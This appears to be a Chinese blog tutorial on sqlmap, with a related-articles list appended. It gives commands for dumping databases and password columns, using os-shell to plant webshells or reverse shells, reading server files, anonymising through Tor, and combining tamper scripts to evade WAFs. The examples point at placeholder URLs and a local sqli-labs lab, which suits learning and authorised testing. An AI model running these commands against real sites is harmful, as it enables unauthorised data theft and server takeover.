附上一个别人总结的:https://www.cnblogs.com/ichunqiu/p/5805108.html

一套基础的sqlmap语句:

python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db)
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dump

用到的参数

--technique    sqlmap中的注入技术
--batch 默认选择,自动运行
--current-db 当前数据库
--current-user 当前数据库用户名
--is-dba 查看当前用户是否为管理员权限
--data post型注入时的post数据
--threads 最大并发线程(不要超过10)
-r 跟http请求头的头部文件.txt
--cookie cookie注入
--level 探测等级,3最好,5最全面
--sql-shell 运行自定义sql语句
--os-shell 运行操作系统命令
--file-read 从数据库中读取文件
--file-write "本机路径" --file-dest "服务器路径" 上传文件
--tamper 跟自带绕过脚本
--time-sec=60 延时,用来绕waf
过WAF
--identify-waf 检测是否有waf
--random-agent -v 使用任意浏览器进行绕过
--hpp -v 使用HTTP 参数污染进行绕过
--proxy=211.211.211.211: --proxy-cred=: 使用代理
--flush-session 清空会话,重构注入
--hex 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入
--delay=3.5 --time-sec= 使用长的延时来避免触发WAF的机制

0x01 --technique参数

—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入

B:Boolean-based-blind  (布尔型盲注)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)

例如sqlmap语句:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch

0x02 --data参数和--threads参数

post注入时,post的数据就放在--data后,--threads加快跑的速率,不要超过10

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES
--dbms mysql --dbs --threads 8

0x03 -r参数

将HTTP请求包的内容放在一个txt文件里面,cookie可以不用放,然后-r跟上txt文件的路径,让sqlmap自动跑,这里要注意将可能出现sql注入的请求参数的值后面要跟上”*“符号

python sqlmap.py -r 1.txt --dbs --threads 8 --technique BTES
或者
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-18/" --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST

如果知道sql注入的确切位置,那么这里可以直接使用第二种方式注入

0x04 --cookie参数

web应用基于cookie的身份验证,对于post请求,可以指定cookie,cookie注入时直接使用这个参数
sqlmap -u "url" --cookie="..." --level 3 –-dbs

0x05 --os-shell 参数

知道数据库为管理员权限,并且知道网址根目录,那么使用这一个参数,可以上传webshell和反弹shell。

用--is-dba查看是否为管理员权限

0x06 --file-read参数

知道网站的一些文件的目录,或者网站服务器里面的固定文件的目录,那么可以使用这个参数来读取文件内容:

python sqlmap.py -u "http://127.0.0.1/?id=1" --file-read "C:/windows/win.ini"

0x07 --file-write  --file-dest参数

--file-write "本机选择上传文件的路径" --file-dest "服务器根目录路径"  
知道一个站点存在sql注入且知道网站根目录的前提下可使用此参数

0x08 --tamper 参数

--tamper参数专门跟一些脚本的,比如说sqlmap自带的一些绕过的脚本

python sqlmap.py xxxx --tamper "脚本名"

常用的绕过脚本:

apostrophemask.py 用utf8代替引号
equaltolike.py 对等号的绕过,用like代替等号
greatest.py MySQL中绕过过滤’>’
space2hash.py 绕过空格的过滤
halfversionedmorekeywords.py mysql数据库绕过防火墙
ase64encode.py 将语句用base64编码
between.py 替换>号
space2plus.py 用+替换空格
chardoubleencode.py 双url编码
randomcase.py 随机大小写
randomcomments.py 用/**/分割sql关键字

0x09 tamper脚本参数组合策略绕过WAF

针对mysql数据库:

--random-agent -v  -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

--random-agent --hpp  --tamper=space2mysqldash.p,versionedmorekeywords.py

-delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py

针对mssql

-delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py

--delay=3.5 --hpp --tamper=space2comment.py,randomcase.py

--delay=3.5 --time-sec=  --tamper=space2mssqlblank.py,securesphere.py

--delay=3.5 --tamper=unionalltounion.py,base64encode.p

针对oracle:

--delay= --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py

--delay=--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/ Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py

sqlmap注入基本教程的更多相关文章

  1. SQLMAP注入教程-11种常见SQLMAP使用方法详解

    sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...

  2. sqlmap注入教程

    1.SQLMAP用于Access数据库注入 (1)猜解是否能注入win: python sqlmap.py -u "http://www.stronkin.com/en/CompHonorB ...

  3. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  4. sqlmap注入小结

    sqlmap注入时: 1.判断可注入的参数 2.判断可以用那种SQL注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些数据 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可 ...

  5. sqlmap注入入门

    sqlmap注入入门 sqlmap的用法: ​ linux中: sqlmap [选项] ​ Windows中: python sqlmap [选项] 常用的参数及含义: 目标 ​ -d DIRECT ...

  6. sqlmap 注入的方法及技巧

    sqlmap 注入的方法及技巧 当给 sqlmap 这么一个 url 的时候,它会: 1.判断可注入的参数 2.判断可以用那种 SQL 注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些 ...

  7. Sqlmap注入工具

    Sqlmap注入工具 http://sqlmap.org/ Sqlmap是国外的一个免费的注入工具,基于python开发,支持现在几乎所有的数据库,支持get.post.cookie注入,可以添加co ...

  8. 在windows系统和kali中通过sqlmap注入

    第1章 在windows系统中通过sqlmap注入 1.1 环境搭建 Sqlmap是目前功能最强大,使用最为广泛的注入类工具,是一个开源软件,被集成于kaliLinux, 由于sqlmap是基于Pyt ...

  9. sql-labs 18-20(sqlmap注入)

    这三题主要是关于HTTP头部的注入 常见的HTTP注入点产生位置为 [Referer].[X-Forwarded-For].[Cookie].[X-Real-IP].[Accept-Language] ...

随机推荐

  1. 使用IDEA详解Spring中依赖注入的类型(上)

    使用IDEA详解Spring中依赖注入的类型(上) 在Spring中实现IoC容器的方法是依赖注入,依赖注入的作用是在使用Spring框架创建对象时动态地将其所依赖的对象(例如属性值)注入Bean组件 ...

  2. MySql在Windows下自动备份的几种方法

    以下几种全部是批处理命令中对于备份文件 1.复制date文件夹备份============================假想环境:MySQL   安装位置:C:\MySQL论坛数据库名称为:bbs数 ...

  3. SNMP协议交互学习-获取udp的udpindatagrams

    MIB的组织结构,如下左图,对于udp来说1.3.6.1.2.1.7,组织如下右图,包括4个标量和1个表格 udp节点在LwIP中的定义如下: ] = { , , , , }; ] = { (stru ...

  4. PHP 安装扩展步骤

    一般来说php安装扩展需要几下几个步骤   1.下载扩展包    比如  pdo_mysql.tar.gz  (如果不想下载,可以到php安装目录,(类似php-5.3.3/ext/)的ext文件中找 ...

  5. mongoose报错:DeprecationWarning: collection.ensureIndex is deprecated. Use createIndexes instead.

    mongoose报错:(node:15689) DeprecationWarning: collection.ensureIndex is deprecated. Use createIndexes ...

  6. C语言四

    c语言循环结构 为什么用循环? C语言中的循环主要分为三种:while循环,do...while循环 for循环 while循环:先判断条件是否成立,如果条件成立将执行其下的循环体,如果条件不成立一次 ...

  7. 05.JS函数

    前言: 学习一门编程语言的基本步骤(01)了解背景知识(02)搭建开发环境(03)语法规范(04)常量和变量(05)数据类型(06)数据类型转换(07)运算符(08)逻辑结构(09)函数9.函数——f ...

  8. 使用QT显示OpenCV读取的图片

    目录 1. 概述 2. 实现 2.1. 代码 2.2. 解析 3. 结果 1. 概述 OpenCV自带了一部分常用的GUI功能,但是更多的图像处理功能需要其他GUI框架来辅助实现,这里通过QT来显示O ...

  9. Git操作:查看所有分支的提交修改

    我们在廖雪峰Git教程或者一些书籍学习git分支时,大都会学习到这样一个命令git log --graph或者就是单纯的git log,他可以用来查看当前分支.但是这个弊端就是:它只能查看与当前分支有 ...

  10. JS中变量、作用域的本质,定义及使用方法

    全局作用域和局部作用域 全局作用域 局部作用域:函数作用域 全局作用域在全局和局部都可以访问到,局部作用域只能在局部被访问到 var name="cyy"; function fn ...